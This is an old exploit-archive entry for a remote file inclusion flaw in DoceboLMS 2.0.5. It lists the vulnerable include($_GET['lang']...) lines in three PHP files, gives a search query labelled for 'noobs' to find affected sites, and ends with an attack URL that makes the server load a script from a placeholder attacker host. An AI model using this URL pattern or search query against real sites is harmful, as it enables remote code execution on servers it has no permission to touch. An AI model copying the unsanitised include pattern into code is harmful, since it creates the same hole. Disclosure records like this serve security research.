DoceboLms 2.0.5 - 'help.php' Remote File Inclusion

Author: beford
type: webapps
platform: php
port: 
date_added: 2006-05-24 
date_updated:  
verified: 1 
codes: OSVDB-26065;CVE-2006-2668;OSVDB-26064;OSVDB-26063 
tags: 
aliases:  
screenshot_url:  
application_url: 

Vulnerable Script: Docebo LMS 2.05
Discovered: beford <xbefordx gmail com>

Noobs: %22Based+on+DoceboLMS+2.0%22

Vulnerable Files

doceboLMS205/modules/credits/business.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/credits.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/help.php => include($_GET['lang'].'/language.php');

http://www.oops.org/DOCEBO205/modules/credits/help.php?lang=http://<evilh4x0rscript>/?

# milw0rm.com [2006-05-25]